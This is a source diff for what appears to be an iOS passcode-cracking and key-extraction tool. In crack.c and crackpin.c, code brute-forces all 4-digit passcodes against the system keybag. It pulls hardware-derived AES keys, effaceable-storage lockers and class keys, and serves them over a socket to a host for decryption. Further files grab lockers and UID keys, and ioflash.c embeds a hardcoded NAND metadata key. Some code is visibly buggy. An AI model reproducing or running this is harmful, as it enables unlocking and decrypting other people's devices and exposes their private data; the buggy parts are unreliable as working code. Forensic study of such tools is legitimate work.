// Crack the passcode/key if present/possible + if (AppleKeyStore_unlockKeybagFromUserland(kb, passcode, 4, key835)) { + syslog(LOG_ERR, "++[CRACK]++ No Passcode"); + + } else { + for(i=0; i < 10000; i++) { + sprintf(passcode, "%04d", i); + if (AppleKeyStore_unlockKeybagFromUserland(kb, passcode, 4, key835)) { + syslog(LOG_ERR, "++[CRACK]++ Found passcode of %s", passcode); + break; + } + } + } + + syslog(LOG_ERR, "Creating output CFDictionary"); + CFMutableDictionaryRef out = CFDictionaryCreateMutable(kCFAllocatorDefault, + 0, + &kCFTypeDictionaryKeyCallBacks, + &kCFTypeDictionaryValueCallBacks); + + // Grab class keys from system keybag + get_device_infos(out); + + //syslog(LOG_ERR, "Grabing FSD info"); + //CFMutableDictionaryRef nand = FSDGetInfo(0); + //if (nand != NULL) { + // CFDictionaryAddValue(out, CFSTR("nand"), nand); + //} + //syslog(LOG_ERR, "Got FSD Info"); + + syslog(LOG_ERR, "Grabbing HFS Info"); + struct HFSInfos hfsinfos={0}; + getHFSInfos(&hfsinfos); + syslog(LOG_ERR, "Got HFS Info"); + + syslog(LOG_ERR, "Getting remaining keys"); + uint8_t* key89A = IOAES_key89A(); + uint8_t* key89B = IOAES_key89B(); + syslog(LOG_ERR, "Got remaining keys"); + + uint8_t emf[36]={0}; + uint8_t lwvm[80]={0}; + uint8_t dkey[40]={0}; + uint8_t lockers[960]={0}; + // Grab and dervice keys from effaceable memory + if (!AppleEffaceableStorage__getBytes(lockers, 960)) + { + CFDataRef lockersData = CFDataCreateWithBytesNoCopy(kCFAllocatorDefault, lockers, 960, kCFAllocatorNull); + CFDictionaryAddValue(out, CFSTR("lockers"), lockersData); + CFRelease(lockersData); + + if (!AppleEffaceableStorage__getLockerFromBytes(LOCKER_DKEY, lockers, 960, dkey, 40)) + { + aes_key_wrap_ctx ctx; + + aes_key_wrap_set_key(&ctx, key835, 16); + + if(aes_key_unwrap(&ctx, dkey, dkey, 32/8)) + printf("FAIL unwrapping DKey with key 0x835\n"); + } + if (!AppleEffaceableStorage__getLockerFromBytes(LOCKER_EMF, lockers, 960, emf, 36)) + { + doAES(&emf[4], &emf[4], 32, kIOAESAcceleratorCustomMask, key89B, NULL, kIOAESAcceleratorDecrypt, 128); + } + else if (!AppleEffaceableStorage__getLockerFromBytes(LOCKER_LWVM, lockers, 960, lwvm, 0x50)) + { + doAES(lwvm, lwvm, 0x50, kIOAESAcceleratorCustomMask, key89B, NULL, kIOAESAcceleratorDecrypt, 128); + memcpy(&emf[4], &lwvm[32+16], 32); + } + } + + CFNumberRef n = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &hfsinfos.dataVolumeOffset); + CFDictionaryAddValue(out, CFSTR("dataVolumeOffset"), n); + CFRelease(n); + addHexaString(out, CFSTR("dataVolumeUUID"), (uint8_t*) &hfsinfos.volumeUUID, 8); + addHexaString(out, CFSTR("key835"), key835, 16); + addHexaString(out, CFSTR("key89A"), key89A, 16); + addHexaString(out, CFSTR("key89B"), key89B, 16); + addHexaString(out, CFSTR("EMF"), &emf[4], 32); + addHexaString(out, CFSTR("DKey"), dkey, 32); + + uint8_t* passcodeKey = malloc(32); + + char bootargs[256]={0}; + size_t bootargs_len = 255; + sysctlbyname("kern.bootargs", bootargs, &bootargs_len, NULL, 0); + if (bootargs_len > 1) { + CFStringRef bootargsString = CFStringCreateWithBytes(kCFAllocatorDefault, bootargs, bootargs_len - 1, kCFStringEncodingASCII, 0); + CFDictionaryAddValue(out, CFSTR("kern.bootargs"), bootargsString); + CFRelease(bootargsString); + } + + syslog(LOG_ERR, "Unlocking keybag with passcode %s", passcode); + AppleKeyStore_unlockKeybagFromUserland(kb, passcode, 4, key835); + AppleKeyStore_printKeyBag(kb); + + syslog(LOG_ERR, "Retreiving class keys from AppleKeyStore"); + CFMutableDictionaryRef classKeys = AppleKeyStore_getClassKeys(kb); + + syslog(LOG_ERR, "Getting system passcode key"); + AppleKeyStore_getPasscodeKey(kb, passcode, strlen(passcode), passcodeKey); + + printf("%s\n", hex2str(passcodeKey, 32)); + syslog(LOG_ERR, "Passcode key : %s\n", hex2str(passcodeKey, 32)); + + //save all we have for now + syslog(LOG_ERR, "Saving information"); + CFStringRef uuid = CreateHexaCFString(kb->uuid, 16); + + CFDictionaryAddValue(out, CFSTR("uuid"), uuid); + CFDictionaryAddValue(out, CFSTR("KeyBagKeys"), kbkeys); + + addHexaString(out, CFSTR("salt"), kb->salt, 20); + + if (passcode != NULL) { + CFStringRef cfpasscode = CFStringCreateWithCString(kCFAllocatorDefault, passcode, kCFStringEncodingASCII); + CFDictionaryAddValue(out, CFSTR("passcode"), cfpasscode); + CFRelease(cfpasscode); + } + if (passcodeKey != NULL) + addHexaString(out, CFSTR("passcodeKey"), passcodeKey, 32); + + if (key835 != NULL) + addHexaString(out, CFSTR("key835"), key835, 16); + if (classKeys != NULL) + CFDictionaryAddValue(out, CFSTR("classKeys"), classKeys); + + //writePlistToSyslog(out); + CFDataRef d = CFPropertyListCreateData(kCFAllocatorDefault, out, kCFPropertyListXMLFormat_v1_0, 0, NULL); + uint8_t* data = CFDataGetBytePtr(d); + + // Send it back to host so we can begin decryption + int x = sock_listen(5000); + if(x) { + int y = sock_accept(x); + if(y) { + syslog(LOG_ERR, "Successfully connected to host"); + sock_send(y, data, CFDataGetLength(d)); + close(y); + } + close(x); + } + exit(0); +} + +void crack_leave() { + syslog(LOG_ERR, "++[CRACK]++ Leaving crack.dylib\n"); +} \ No newline at end of file diff --git a/crack/crack/crack.h b/crack/crack/crack.h new file mode 100644 index 0000000..1e72db9 --- /dev/null +++ b/crack/crack/crack.h @@ -0,0 +1,14 @@ +// +// crack.h +// crack +// +// Created by Joshua Hill on 1/18/14. +// +// + +#ifndef crack_crack_h +#define crack_crack_h + + + +#endif diff --git a/crack/crack/crackpin.c b/crack/crack/crackpin.c new file mode 100644 index 0000000..11cfc37 --- /dev/null +++ b/crack/crack/crackpin.c @@ -0,0 +1,71 @@ +// +// crack.c +// chop +// +// Created by Joshua Hill on 1/19/14. +// +// + +#include +#include +#include + +#include "IOKit.h" +#include "AppleKeyStore.h" +#include "IOAESAccelerator.h" +#include "AppleEffaceableStorage.h" + +#include "util.h" +#include "device_info.h" +#include "ioflash/ioflash.h" + +int crack_pin(char** pin) { + uint8_t* key835 = IOAES_key835(); + + syslog(LOG_ERR, "Asking AppleKeyStore to load the system keybag"); + CFDictionaryRef kbdict = AppleKeyStore_loadKeyBag("/private/var/keybags","systembag"); + if (kbdict == NULL) { + syslog(LOG_ERR, "FAILed to load keybag\n"); + return -1; + } + syslog(LOG_ERR, "Successfully loaded keybag\n"); + + syslog(LOG_ERR, "Getting keys from system keybag"); + CFDataRef kbkeys = CFDictionaryGetValue(kbdict, CFSTR("KeyBagKeys")); + CFRetain(kbkeys); + if (kbkeys == NULL) { + syslog(LOG_ERR, "FAIL: KeyBagKeys not found\n"); + return -1; + } + syslog(LOG_ERR, "Got keys from system keybag\n"); + + syslog(LOG_ERR, "Asking AppleKeyStore to parse our keybag blobs"); + KeyBag* kb = AppleKeyStore_parseBinaryKeyBag(kbkeys); + if (kb == NULL) { + syslog(LOG_ERR, "FAIL: AppleKeyStore_parseBinaryKeyBag\n"); + return -1; + } + + int i = 0; + char* passcode = (char*) malloc(6); + memset(passcode, 0, 6); + + if (AppleKeyStore_unlockKeybagFromUserland(kb, passcode, 4, key835)) { + syslog(LOG_ERR, "No Passcode"); + *pin = NULL; + return 0; + + } else { + for(i=0; i < 10000; i++) { + sprintf(passcode, "%04d", i); + if (AppleKeyStore_unlockKeybagFromUserland(kb, passcode, 4, key835)) { + *pin = passcode; + return 0; + } + } + } + + //device_info(<#int socket#>, <#CFDictionaryRef request#>) + + return -1; +} \ No newline at end of file diff --git a/crack/crack/crackpin.h b/crack/crack/crackpin.h new file mode 100644 index 0000000..5ebebee --- /dev/null +++ b/crack/crack/crackpin.h @@ -0,0 +1,15 @@ +// +// crack.h +// chop +// +// Created by Joshua Hill on 1/19/14. +// +// + +#ifndef chop_crack_h +#define chop_crack_h + +char* crack_pin(); +int crack_passcode(char* pincode); + +#endif diff --git a/crack/crack/device_info.c b/crack/crack/device_info.c new file mode 100644 index 0000000..8a7c516 --- /dev/null +++ b/crack/crack/device_info.c @@ -0,0 +1,96 @@ +#include +#include +#include +#include +#include +#include + +#include "IOAESAccelerator.h" +#include "AppleEffaceableStorage.h" + +#include "bsdcrypto/rijndael.h" +#include "bsdcrypto/key_wrap.h" +#include "ioflash/ioflash.h" + +#include "device_info.h" +#include "registry.h" +#include "util.h" + +uint8_t lockers[960]={0}; +uint8_t lwvm[80]={0}; + +CFDictionaryRef device_info() +{ + uint8_t dkey[40]={0}; + uint8_t emf[36]={0}; + size_t bootargs_len = 255; + char bootargs[256]={0}; + + struct HFSInfos hfsinfos={0}; + + CFMutableDictionaryRef out = CFDictionaryCreateMutable(kCFAllocatorDefault, + 0, + &kCFTypeDictionaryKeyCallBacks, + &kCFTypeDictionaryValueCallBacks); + + get_device_infos(out); + + CFMutableDictionaryRef nand = FSDGetInfo(0); + if (nand != NULL) + CFDictionaryAddValue(out, CFSTR("nand"), nand); + + getHFSInfos(&hfsinfos); + + uint8_t* key835 = IOAES_key835(); + uint8_t* key89A = IOAES_key89A(); + uint8_t* key89B = IOAES_key89B(); + + if (!AppleEffaceableStorage__getBytes(lockers, 960)) + { + CFDataRef lockersData = CFDataCreateWithBytesNoCopy(kCFAllocatorDefault, lockers, 960, kCFAllocatorNull); + CFDictionaryAddValue(out, CFSTR("lockers"), lockersData); + CFRelease(lockersData); + + if (!AppleEffaceableStorage__getLockerFromBytes(LOCKER_DKEY, lockers, 960, dkey, 40)) + { + aes_key_wrap_ctx ctx; + + aes_key_wrap_set_key(&ctx, key835, 16); + + if(aes_key_unwrap(&ctx, dkey, dkey, 32/8)) + printf("FAIL unwrapping DKey with key 0x835\n"); + } + if (!AppleEffaceableStorage__getLockerFromBytes(LOCKER_EMF, lockers, 960, emf, 36)) + { + doAES(&emf[4], &emf[4], 32, kIOAESAcceleratorCustomMask, key89B, NULL, kIOAESAcceleratorDecrypt, 128); + } + else if (!AppleEffaceableStorage__getLockerFromBytes(LOCKER_LWVM, lockers, 960, lwvm, 0x50)) + { + doAES(lwvm, lwvm, 0x50, kIOAESAcceleratorCustomMask, key89B, NULL, kIOAESAcceleratorDecrypt, 128); + memcpy(&emf[4], &lwvm[32+16], 32); + } + } + + CFNumberRef n = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &hfsinfos.dataVolumeOffset); + CFDictionaryAddValue(out, CFSTR("dataVolumeOffset"), n); + CFRelease(n); + addHexaString(out, CFSTR("dataVolumeUUID"), (uint8_t*) &hfsinfos.volumeUUID, 8); + addHexaString(out, CFSTR("key835"), key835, 16); + addHexaString(out, CFSTR("key89A"), key89A, 16); + addHexaString(out, CFSTR("key89B"), key89B, 16); + addHexaString(out, CFSTR("EMF"), &emf[4], 32); + addHexaString(out, CFSTR("DKey"), dkey, 32); + + sysctlbyname("kern.bootargs", bootargs, &bootargs_len, NULL, 0); + if (bootargs_len > 1) + { + CFStringRef bootargsString = CFStringCreateWithBytes(kCFAllocatorDefault, bootargs, bootargs_len - 1, kCFStringEncodingASCII, 0); + CFDictionaryAddValue(out, CFSTR("kern.bootargs"), bootargsString); + CFRelease(bootargsString); + } + + CFDictionaryAddValue(out, CFSTR("ramdisk revision"), CFSTR(HGVERSION)); + CFDictionaryAddValue(out, CFSTR("ramdisk compile time"), CFSTR(__DATE__ " " __TIME__ )); + + return out; +} diff --git a/crack/crack/device_info.h b/crack/crack/device_info.h new file mode 100644 index 0000000..6e395be --- /dev/null +++ b/crack/crack/device_info.h @@ -0,0 +1,5 @@ +#ifndef HGVERSION +#define HGVERSION "unknown" +#endif + +CFDictionaryRef device_info(); diff --git a/crack/crack/grab_locker.c b/crack/crack/grab_locker.c new file mode 100644 index 0000000..5641621 --- /dev/null +++ b/crack/crack/grab_locker.c @@ -0,0 +1,84 @@ +// +// main.c +// grab_locker +// +// Created by Joshua Hill on 1/7/14. +// Copyright (c) 2014 __MyCompanyName__. All rights reserved. +// + +#include +#include +#include + +#include "IOKit.h" +#include "AppleKeyStore.h" +#include "IOAESAccelerator.h" +#include "AppleEffaceableStorage.h" + +#include "bsdcrypto/rijndael.h" +#include "bsdcrypto/key_wrap.h" + +#include "util.h" + +/* + #define LOCKER_DKEY 0x446B6579 + #define LOCKER_EMF 0x454D4621 + #define LOCKER_BAG1 0x42414731 + #define LOCKER_LWVM 0x4C77564d + */ + +/* + struct EffaceableLocker + { + unsigned short magic; //0x4c6B = "kL" + unsigned short len; + unsigned int tag; //BAG1, EMF, Dkey, DONE + unsigned char data[1]; + }; + + struct BAG1Locker + { + unsigned int magic;//'BAG1'; + unsigned char iv[16]; + unsigned char key[32]; + }; + */ + +int grab_locker(uint32_t entry, unsigned char** data, unsigned int* size) { + int x = 0; + char* locker = 0; + uint8_t emf[36]={0}; + uint8_t dkey[40]={0}; + uint8_t lwvm[80]={0}; + uint8_t lockers[960]={0}; + struct BAG1Locker bag1_locker={0}; + + x = AppleEffaceableStorage__getBytes(lockers, 960); + syslog(LOG_ERR, "Pwning AppleEffaceableStorage!!!"); + if(strcmp(locker, "BAG1") == 0) { + AppleEffaceableStorage__getLocker(LOCKER_BAG1, (uint8_t*) &bag1_locker, sizeof(struct BAG1Locker)); + printf("%s\n", hex2str((uint8_t*)&bag1_locker, sizeof(struct BAG1Locker))); + syslog(LOG_ERR, "BAG1: %s\n", hex2str((uint8_t*)&bag1_locker, sizeof(struct BAG1Locker))); + + } else if(strcmp(locker, "LWVM") == 0) { + AppleEffaceableStorage__getLockerFromBytes(LOCKER_LWVM, lockers, 960, lwvm, 0x50); + printf("%s\n", hex2str(lwvm, 0x50)); + syslog(LOG_ERR, "LWVM: %s\n", hex2str(lwvm, 0x50)); + + } else if(strcmp(locker, "EMF") == 0) { + AppleEffaceableStorage__getLocker(LOCKER_EMF, emf, 36); + printf("%s\n", hex2str(emf, 36)); + syslog(LOG_ERR, "EMF: %s\n", hex2str(emf, 36)); + + } else if(strcmp(locker, "DKEY") == 0) { + AppleEffaceableStorage__getLockerFromBytes(LOCKER_DKEY, lockers, 960, dkey, 40); + printf("%s\n", hex2str(dkey, 40)); + syslog(LOG_ERR, "Dkey: %s\n", hex2str(dkey, 40)); + } else { + fprintf(stderr, "Usage: grab_locker [ EMF | DKEY | BAG1 | LWVM ]\n"); + syslog(LOG_ERR, "Invalid usage"); + return -1; + } + + return 0; +} diff --git a/crack/crack/grab_system.c b/crack/crack/grab_system.c new file mode 100644 index 0000000..71ff1d0 --- /dev/null +++ b/crack/crack/grab_system.c @@ -0,0 +1,121 @@ +// +// main.c +// grab_locker +// +// Created by Joshua Hill on 1/7/14. +// Copyright (c) 2014 __MyCompanyName__. All rights reserved. +// + +#include +#include +#include +#include "IOKit.h" +#include "IOAESAccelerator.h" +#include "AppleKeyStore.h" +#include "util.h" +#include "device_info.h" + +void saveKeybagInfos(CFDataRef kbkeys, KeyBag* kb, uint8_t* key835, char* passcode, uint8_t* passcodeKey, CFMutableDictionaryRef classKeys) +{ + CFMutableDictionaryRef out = device_info(-1, NULL); + + CFStringRef uuid = CreateHexaCFString(kb->uuid, 16); + + CFDictionaryAddValue(out, CFSTR("uuid"), uuid); + CFDictionaryAddValue(out, CFSTR("KeyBagKeys"), kbkeys); + + addHexaString(out, CFSTR("salt"), kb->salt, 20); + + if (passcode != NULL) + { + CFStringRef cfpasscode = CFStringCreateWithCString(kCFAllocatorDefault, passcode, kCFStringEncodingASCII); + CFDictionaryAddValue(out, CFSTR("passcode"), cfpasscode); + CFRelease(cfpasscode); + } + if (passcodeKey != NULL) + addHexaString(out, CFSTR("passcodeKey"), passcodeKey, 32); + + if (key835 != NULL) + addHexaString(out, CFSTR("key835"), key835, 16); + if (classKeys != NULL) + CFDictionaryAddValue(out, CFSTR("classKeys"), classKeys); + + CFStringRef resultsFileName = CFStringCreateWithFormat(kCFAllocatorDefault, NULL, CFSTR("%@.plist"), CFDictionaryGetValue(out, CFSTR("dataVolumeUUID"))); + + CFStringRef printString = CFStringCreateWithFormat(kCFAllocatorDefault, NULL, CFSTR("Writing results to %@.plist\n"), CFDictionaryGetValue(out, CFSTR("dataVolumeUUID"))); + + CFShow(printString); + CFRelease(printString); + + saveResults(resultsFileName, out); + + CFRelease(resultsFileName); + CFRelease(uuid); + CFRelease(out); + +} + +int grab_system(int argc, char* argv[]) { + char* passcode = NULL; + uint8_t* key835 = NULL; + uint8_t* passcodeKey = malloc(32); + + if(argc == 3) { + passcode = argv[2]; + key835 = str2hex(argv[1]); + } else { + fprintf(stderr, "Usage: grab_system $KEY835 $PASSCODE\n"); + return -1; + } + + syslog(LOG_ERR, "Pwning SystemKey!!!"); + + syslog(LOG_ERR, "Asking AppleKeyStore to load the system keybag"); + CFDictionaryRef kbdict = AppleKeyStore_loadKeyBag("/private/var/keybags","systembag"); + if (kbdict == NULL) { + syslog(LOG_ERR, "FAILed to load keybag\n"); + return -1; + } + syslog(LOG_ERR, "Successfully loaded keybag\n"); + + syslog(LOG_ERR, "Getting keys from system keybag"); + CFDataRef kbkeys = CFDictionaryGetValue(kbdict, CFSTR("KeyBagKeys")); + CFRetain(kbkeys); + if (kbkeys == NULL) { + syslog(LOG_ERR, "FAIL: KeyBagKeys not found\n"); + return -1; + } + syslog(LOG_ERR, "Got keys from system keybag\n"); + + syslog(LOG_ERR, "Writing blobs out to a file"); + //write_file("kbblob.bin", CFDataGetBytePtr(kbkeys), CFDataGetLength(kbkeys)); + syslog(LOG_ERR, "Blobs written"); + + syslog(LOG_ERR, "Asking AppleKeyStore to parse our keybag blobs"); + KeyBag* kb = AppleKeyStore_parseBinaryKeyBag(kbkeys); + if (kb == NULL) { + syslog(LOG_ERR, "FAIL: AppleKeyStore_parseBinaryKeyBag\n"); + return -1; + } + + syslog(LOG_ERR, "Unlocking keybag with passcode %s", passcode); + AppleKeyStore_unlockKeybagFromUserland(kb, passcode, 4, key835); + AppleKeyStore_printKeyBag(kb); + + syslog(LOG_ERR, "Retreiving class keys from AppleKeyStore"); + CFMutableDictionaryRef classKeys = AppleKeyStore_getClassKeys(kb); + + syslog(LOG_ERR, "Getting system passcode key"); + AppleKeyStore_getPasscodeKey(kb, passcode, strlen(passcode), passcodeKey); + + printf("%s\n", hex2str(passcodeKey, 32)); + syslog(LOG_ERR, "Passcode key : %s\n", hex2str(passcodeKey, 32)); + + //save all we have for now + syslog(LOG_ERR, "Saving information"); + saveKeybagInfos(kbkeys, kb, key835, passcode, passcodeKey, classKeys); + CFRelease(classKeys); + + return 0; +} + diff --git a/crack/crack/ioaes.c b/crack/crack/ioaes.c new file mode 100644 index 0000000..5a65a27 --- /dev/null +++ b/crack/crack/ioaes.c @@ -0,0 +1,47 @@ +// +// main.c +// ioaes +// +// Created by Joshua Hill on 1/7/14. +// Copyright (c) 2014 __MyCompanyName__. All rights reserved. +// + +#include +#include +#include + +#include "util.h" +#include "IOKit.h" +#include "IOAESAccelerator.h" + +int ioaes(int argc, char* argv[]) { + uint32_t key = 0; + if(argc == 2) { + key = strtoul(argv[1], NULL, 0); + } else { + fprintf(stderr, "Usage: ioaes [ 0x835 | 0x89A | 0x89B ]\n"); + return -1; + } + + syslog(LOG_ERR, "Pwning UID Keys!!!"); + if(key == 0x835) { + printf("%s\n", hex2str(IOAES_key835(), 16)); + syslog(LOG_ERR, "KEY 0x835: %s", hex2str(IOAES_key835(), 16)); + + } else if(key == 0x89A) { + printf("%s\n", hex2str(IOAES_key89A(), 16)); + syslog(LOG_ERR, "KEY 0x835: %s", hex2str(IOAES_key89A(), 16)); + + } else if(key == 0x89B) { + printf("%s\n", hex2str(IOAES_key89B(), 16)); + syslog(LOG_ERR, "KEY 0x835: %s", hex2str(IOAES_key89B(), 16)); + + } else { + fprintf(stderr, "Usage: ioaes [ 0x835 | 0x89A | 0x89B ]\n"); + syslog(LOG_ERR, "Invalid usage"); + return -1; + } + + return 0; +} + diff --git a/crack/crack/ioaes.h b/crack/crack/ioaes.h new file mode 100644 index 0000000..b3196db --- /dev/null +++ b/crack/crack/ioaes.h @@ -0,0 +1,15 @@ +// +// aes.h +// chop +// +// Created by Joshua Hill on 1/19/14. +// +// + +#ifndef chop_aes_h +#define chop_aes_h + +int ioaes_decrypt(); +int ioaes_encrypt(); + +#endif diff --git a/crack/crack/ioflash/ioflash.c b/crack/crack/ioflash/ioflash.c new file mode 100644 index 0000000..b88a121 --- /dev/null +++ b/crack/crack/ioflash/ioflash.c @@ -0,0 +1,556 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "ioflash.h" + +/** +used to decrypt special pages when checking if the physical banks parameter is correct +when reading/dumping pages are not decrypted +**/ +uint8_t META_KEY[16] = {0x92, 0xa7, 0x42, 0xab, 0x08, 0xc9, 0x69, 0xbf, 0x00, 0x6c, 0x94, 0x12, 0xd3, 0xcc, 0x79, 0xa5}; +//uint8_t FILESYSTEM_KEY[16] = {0xf6, 0x5d, 0xae, 0x95, 0x0e, 0x90, 0x6c, 0x42, 0xb2, 0x54, 0xcc, 0x58, 0xfc, 0x78, 0xee, 0xce}; + + +uint32_t gDeviceReadID = 0; +uint32_t gCECount = 0; +uint32_t gBlocksPerCE = 0; +uint32_t gPagesPerBlock = 0; +uint32_t gBytesPerPage = 0; +uint32_t gBytesPerSpare = 0; +uint32_t gBootloaderBytes = 0; +uint32_t gIsBootFromNand = 0; +uint32_t gPagesPerCE = 0; +uint32_t gTotalBlocks = 0; +uint32_t metaPerLogicalPage = 0; +uint32_t validmetaPerLogicalPage = 0; +uint32_t banksPerCE = 0; +uint32_t use_4k_aes_chain = 0; +uint32_t gFSStartBlock= 0; +uint32_t gDumpPageSize = 0; +uint32_t gPPNdevice = 0; +uint32_t banksPerCEphysical = 1; +uint32_t bank_address_space = 0; +uint32_t blocks_per_bank = 0; + +//from ioflashstoragetool +io_service_t fsdService = 0; +io_connect_t fsdConnection = 0; + + +CFMutableDictionaryRef MakeOneStringProp(CFStringRef key, CFStringRef value) +{ + CFMutableDictionaryRef dict = CFDictionaryCreateMutable(kCFAllocatorDefault, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks); + CFDictionarySetValue(dict, key, value); + return dict; +} + +io_service_t _wait_for_io_service_matching_dict(CFDictionaryRef matching) +{ + io_service_t service = 0; + /* while(!service) { + */CFRetain(matching); + service = IOServiceGetMatchingService(kIOMasterPortDefault, matching); + //if(service) break; + /*sleep(1); + //CFRelease(matching); + } + CFRelease(matching);*/ + return service; +} + + +int FSDConnect(const char* name) +{ + CFMutableDictionaryRef matching; + + matching = IOServiceMatching(name); + + fsdService = IOServiceGetMatchingService(kIOMasterPortDefault, matching); + + IOServiceOpen(fsdService, mach_task_self(), 0, &fsdConnection); + + return fsdConnection != 0; +} + +int FSDGetPropertyForKey(io_object_t obj, CFStringRef name, void* out, uint32_t outLen, CFMutableDictionaryRef dict) +{ + CFTypeRef data = IORegistryEntryCreateCFProperty(obj, name, kCFAllocatorDefault, 0); + + if (!data) + { + return 0; + } + if (dict != NULL) + { + CFDictionaryAddValue(dict, name, data); + } + if (out == NULL) + return 0; + if(CFGetTypeID(data) == CFNumberGetTypeID()) + { + CFNumberGetValue((CFNumberRef)data, kCFNumberIntType, out); + return 1; + } + else if(CFGetTypeID(data) == CFDataGetTypeID()) + { + CFIndex dataLen = CFDataGetLength(data); + CFDataGetBytes(data, CFRangeMake(0,dataLen < outLen ? dataLen : outLen), out); + return 1; + } + return 0; +} +IOReturn FSDReadPageHelper(struct kIOFlashControllerReadPageIn* in, struct kIOFlashControllerOut* out) +{ + size_t outLen = sizeof(struct kIOFlashControllerOut); + + IOConnectCallStructMethod(fsdConnection, + kIOFlashControllerReadPage, + in, + sizeof(struct kIOFlashControllerReadPageIn), + out, + &outLen); + // fprintf(stderr, "%x %x %x %x %x\n", in->page, in->ce, r, out->ret1, out->ret2); + + return out->ret1; +} + +IOReturn FSDReadPageWithOptions(uint32_t ceNum, + uint32_t pageNum, + void* buffer, + void* spareBuffer, + uint32_t spareSize, + uint32_t options, + struct kIOFlashControllerOut* out + ) +{ + struct kIOFlashControllerReadPageIn in; + + in.page = pageNum; + in.ce = ceNum; + in.options = options; + in.buffer = buffer; + in.bufferSize = gBytesPerPage; + in.spare = spareBuffer; + in.spareSize = spareSize; + return FSDReadPageHelper(&in, out); +} + +IOReturn FSDReadBootPage(uint32_t ceNum, uint32_t pageNum,uint32_t* buffer, struct kIOFlashControllerOut* out) +{ + return FSDReadPageWithOptions(ceNum, pageNum, buffer, NULL, 0, kIOFlashStorageOptionBootPageIO, out); +} + +void findPartitionLocation(CFStringRef contentHint, CFMutableDictionaryRef dict) +{ + const void* keys[2] = {CFSTR("Block Count"), CFSTR("Block Offset")}; + const void* values[2] = {NULL, NULL}; + + CFMutableDictionaryRef match = MakeOneStringProp(CFSTR("IOProviderClass"), CFSTR("IOFlashStoragePartition")); + CFMutableDictionaryRef iopmatch = MakeOneStringProp(CFSTR("Content Hint"), contentHint); + CFDictionarySetValue(match, CFSTR("IOPropertyMatch"), iopmatch); + + CFRelease(iopmatch); + + io_service_t service = _wait_for_io_service_matching_dict(match); + if (service) + { + CFNumberRef blockCount = (CFNumberRef) IORegistryEntryCreateCFProperty(service, CFSTR("Block Count"), kCFAllocatorDefault, 0); + CFNumberRef blockOffset = (CFNumberRef) IORegistryEntryCreateCFProperty(service, CFSTR("Block Offset"), kCFAllocatorDefault, 0); + if (dict != NULL) + { + values[0] = (void*) blockCount; + values[1] = (void*) blockOffset; + CFDictionaryRef d = CFDictionaryCreate(kCFAllocatorDefault, keys, values, 2, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks); + if (d != NULL) + CFDictionaryAddValue(dict, contentHint, d); + } + if( CFStringCompare(contentHint, CFSTR("Filesystem"), 0) == kCFCompareEqualTo) + { + CFNumberGetValue(blockOffset, kCFNumberIntType, &gFSStartBlock); + } + } + CFRelease(match); +} + + + +//openiBoot/util.c +uint32_t next_power_of_two(uint32_t n) { + uint32_t val = 1 << (31 - __builtin_clz(n)); + + if (n % val) + val *= 2; + + return val; +} + +void generate_IV(unsigned long lbn, unsigned long *iv) +{ + int i; + for(i = 0; i < 4; i++) + { + if(lbn & 1) + lbn = 0x80000061 ^ (lbn >> 1); + else + lbn = lbn >> 1; + iv[i] = lbn; + } +} + +void decrypt_page(uint8_t* data, uint32_t dataLength, uint8_t* key, uint32_t keyLength, uint32_t pn) +{ + char iv[16]; + size_t dataOutMoved=dataLength; + generate_IV(pn, (unsigned long*) iv); + + CCCryptorStatus s = CCCrypt(kCCDecrypt, + kCCAlgorithmAES128, + 0, + (const void*) key, + keyLength, + (const void*) iv, + (const void*) data, + dataLength, + (const void*) data, + dataLength, + &dataOutMoved); + if (s != kCCSuccess) + { + fprintf(stderr, "decrypt_page: CCCrypt error %x\n", s); + } +} + +void set_physical_banks(int n) +{ + banksPerCEphysical = n; + blocks_per_bank = gBlocksPerCE / banksPerCEphysical; + + if((gBlocksPerCE & (gBlocksPerCE-1)) == 0) + { + // Already a power of two. + bank_address_space = blocks_per_bank; + //total_block_space = gBlocksPerCE; + } + else + { + // Calculate the bank address space. + bank_address_space = next_power_of_two(blocks_per_bank); + //total_block_space = ((banksPerCEphysical-1)*bank_address_space) + blocks_per_bank; + } +} + +//"bruteforce" the number of physical banks +//except for PPN devices, DEVICEINFOBBT special pages should always be somewhere at the end +void check_special_pages() +{ + if(gPPNdevice) + { + fprintf(stderr, "PPN device, i don't know how to guess the number of physical banks, assuming 1\n"); + set_physical_banks(1); + return; + } + + uint32_t i,x=1; + uint32_t ok = 0; + uint32_t bank, block, page; + uint8_t* pageBuffer = (uint8_t*) valloc(gDumpPageSize); + + printf("Searching for correct banksPerCEphysical value ...\n"); + + while(!ok && x < 10) + { + set_physical_banks(x); + bank = banksPerCEphysical - 1; + + for(block = blocks_per_bank-1; !ok && block > blocks_per_bank-10 ; block--) + { + page = (bank_address_space * bank + block) * gPagesPerBlock; + + struct kIOFlashControllerOut *out = (&pageBuffer[gBytesPerPage + metaPerLogicalPage]); + + for(i=0; i < gPagesPerBlock; i++) + { + if(FSDReadPageWithOptions(0, page + i, pageBuffer, &pageBuffer[gBytesPerPage], metaPerLogicalPage, 0, out)) + continue; + + if(pageBuffer[gBytesPerPage] != 0xA5) + continue; + if(!memcmp(pageBuffer, "DEVICEINFOBBT", 13)) + { + printf("Found cleartext DEVICEINFOBBT at block %d page %d with banksPerCEphyiscal=%d\n", blocks_per_bank*bank +block, i, banksPerCEphysical); + ok = 1; + break; + } + decrypt_page(pageBuffer, gBytesPerPage, META_KEY, kCCKeySizeAES128, page + i); + if(!memcmp(pageBuffer, "DEVICEINFOBBT", 13)) + { + printf("Found encrypted DEVICEINFOBBT at block %d page %d with banksPerCEphyiscal=%d\n", blocks_per_bank*bank +block, i, banksPerCEphysical); + ok = 1; + break; + } + } + } + x++; + } + if(!ok) + { + fprintf(stderr, "Couldnt guess the number of physical banks, exiting\n"); + exit(0); + } + free(pageBuffer); + return; +} + + +//XXX dont read the NAND from this function as it can be called from multiple processes +CFMutableDictionaryRef FSDGetInfo(int printInfo) +{ + io_iterator_t iterator = 0; + io_object_t obj = 0; + + FSDConnect("IOFlashController"); + + if(IORegistryEntryCreateIterator(fsdService, "IOService",0, &iterator)) + return NULL; + + obj = IOIteratorNext(iterator); + if (!obj) + return NULL; + + CFMutableDictionaryRef dict = CFDictionaryCreateMutable (kCFAllocatorDefault, 0, &kCFTypeDictionaryKeyCallBacks, 